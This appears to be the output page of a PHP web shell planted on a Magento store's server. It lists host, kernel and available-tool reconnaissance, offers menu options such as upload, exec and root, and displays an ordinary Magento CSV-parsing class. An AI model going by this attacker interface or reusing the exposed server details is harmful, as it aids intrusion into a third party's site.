Kernel : Linux vmi616275.contaboserver.net 5.4.0-84-generic #94-Ubuntu SMP Thu Aug 26 20:27:37 UTC 2021 x86_64
Disable function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Safe mode : OFF
Host : diestoffstrasse.com | Server ip : 127.0.0.1 | Your ip : 127.0.0.1 | Time @ Server : 23 Aug 2025 22:35:41
MySQL : OFF | MSSQL : OFF | cURL : ON | Oracle : OFF | wget : ON | Perl : ON

/home/dev2.destoffenstraat.com/vendor-1/magento/framework/File/

HOME about upload exec mass file domain root vuln newfile newfolder kill me

File Path : /home/dev2.destoffenstraat.com/vendor-1/magento/framework/File/Csv.php

<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Framework\File; use Magento\Framework\Filesystem\Driver\File; /** * Csv parse * * @author Magento Core Team <core@magentocommerce.com> */ class Csv { /** * @var int */ protected $_lineLength = 0; /** * @var string */ protected $_delimiter = ','; /** * @var string */ protected $_enclosure = '"'; /** * @var File */ protected $file; /** * Constructor * * @param File $file File Driver used for writing CSV */ public function __construct(File $file) { $this->file = $file; } /** * Set max file line length * * @param int $length * @return \Magento\Framework\File\Csv */ public function setLineLength($length) { $this->_lineLength = $length; return $this; } /** * Set CSV column delimiter * * @param string $delimiter * @return \Magento\Framework\File\Csv */ public function setDelimiter($delimiter) { $this->_delimiter = $delimiter; return $this; } /** * Set CSV column value enclosure * * @param string $enclosure * @return \Magento\Framework\File\Csv */ public function setEnclosure($enclosure) { $this->_enclosure = $enclosure; return $this; } /** * Retrieve CSV file data as array * * @param string $file * @return array * @throws \Exception */ public function getData($file) { $data = []; if (!file_exists($file)) { throw new \Exception('File "' . $file . '" does not exist'); } $fh = fopen($file, 'r'); while ($rowData = fgetcsv($fh, $this->_lineLength, $this->_delimiter, $this->_enclosure)) { $data[] = $rowData; } fclose($fh); return $data; } /** * Retrieve CSV file data as pairs * * @param string $file * @param int $keyIndex * @param int $valueIndex * @return array */ public function getDataPairs($file, $keyIndex = 0, $valueIndex = 1) { $data = []; $csvData = $this->getData($file); foreach ($csvData as $rowData) { if (isset($rowData[$keyIndex])) { $data[$rowData[$keyIndex]] = isset($rowData[$valueIndex]) ? $rowData[$valueIndex] : null; } } return $data; } /** * Saving data row array into file * * @param string $file * @param array $data * @return $this * @throws \Magento\Framework\Exception\FileSystemException * @deprecated 102.0.0 * @see appendData */ public function saveData($file, $data) { return $this->appendData($file, $data, 'w'); } /** * Replace the saveData method by allowing to select the input mode * * @param string $file * @param array $data * @param string $mode * * @return $this * * @throws \Magento\Framework\Exception\FileSystemException */ public function appendData($file, $data, $mode = 'w') { $fileHandler = fopen($file, $mode); foreach ($data as $dataRow) { $this->file->filePutCsv($fileHandler, $dataRow, $this->_delimiter, $this->_enclosure); } fclose($fileHandler); return $this; } }